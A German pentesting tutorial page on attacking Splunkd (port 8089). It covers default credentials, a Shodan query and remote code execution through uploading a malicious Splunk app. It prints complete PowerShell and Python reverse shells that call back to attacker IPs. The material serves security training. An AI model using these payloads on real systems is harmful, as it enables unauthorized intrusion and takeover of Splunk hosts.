# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **Grundinformationen** - Log-Analyse-Tool zur Datensammlung, Analyse und Visualisierung - Häufig verwendet in der Sicherheitsüberwachung und Geschäftsanalytik - Standardports: - Webserver: 8000 - Splunkd-Dienst: 8089 ### Schwachstellenvektoren: 1. Ausnutzung der kostenlosen Version - Testversion wird nach 60 Tagen automatisch in die kostenlose Version umgewandelt - Kostenlose Version hat keine Authentifizierung - Potenzielles Sicherheitsrisiko, wenn sie nicht verwaltet wird - Administratoren könnten die Sicherheitsimplikationen übersehen 2. Anmeldeinformationen-Schwächen - Ältere Versionen: Standardanmeldeinformationen `admin:changeme` - Neuere Versionen: Anmeldeinformationen werden während der Installation festgelegt - Potenzial für die Verwendung schwacher Passwörter (z.B. `admin`, `Welcome`, `Password123`) 3. Möglichkeiten zur Remote-Code-Ausführung - Mehrere Methoden zur Codeausführung: - Serverseitige Django-Anwendungen - REST-Endpunkte - Skriptbasierte Eingaben - Alarmierungsskripte - Plattformübergreifende Unterstützung (Windows/Linux) - Skriptbasierte Eingaben können ausführen: - Bash-Skripte - PowerShell-Skripte - Batch-Skripte Wichtiges Ausnutzungspotenzial: - Speicherung sensibler Daten - Fehlende Authentifizierung in der kostenlosen Version - Mehrere Vektoren für potenzielle Remote-Code-Ausführung - Möglichkeit, skriptbasierte Eingaben für Systemkompromittierung zu nutzen ### Shodan - `Splunk build` ## RCE ### Erstellen einer benutzerdefinierten Anwendung Splunk bietet eine ausgeklügelte Methode zur Remote-Code-Ausführung durch die Bereitstellung benutzerdefinierter Anwendungen, die seine plattformübergreifenden Skripting-Fähigkeiten nutzen. Die grundlegende Ausnutzungstechnik dreht sich um die Erstellung einer bösartigen Anwendung, die Reverse Shells auf sowohl Windows- als auch Linux-Systemen ausführen kann. Eine benutzerdefinierte Anwendung kann **Python, Batch, Bash oder PowerShell-Skripte** ausführen. Darüber hinaus **kommt Splunk mit installiertem Python**, sodass Sie selbst auf **Windows**-Systemen Python-Code ausführen können. Sie können [**dieses**](https://github.com/0xjpuff/reverse_shell_splunk) Beispiel mit dem **`bin`** verwenden, das Beispiele für [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) enthält. Oder Sie könnten Ihr eigenes erstellen. Der Ausnutzungsprozess folgt einer konsistenten Methodik über Plattformen hinweg: ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` Die kritische Konfigurationsdatei `inputs.conf` aktiviert das Skript durch: - Festlegen von `disabled = 0` - Konfigurieren eines 10-Sekunden-Ausführungsintervalls - Definieren des Quelltyps des Skripts Die Bereitstellung ist unkompliziert: 1. Erstellen Sie das bösartige Anwendungs-Paket 2. Richten Sie einen Listener (Netcat/socat) auf der angreifenden Maschine ein 3. Laden Sie die Anwendung über die Schnittstelle von Splunk hoch 4. Auslösen der automatischen Skriptausführung nach dem Hochladen Beispiel für eine Windows PowerShell Reverse Shell: ```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` Beispiel für eine Linux Python Reverse Shell: ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE & Privilegieneskalation Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Privilegien zu eskalieren und Persistenz zu erlangen: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## Referenzen - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}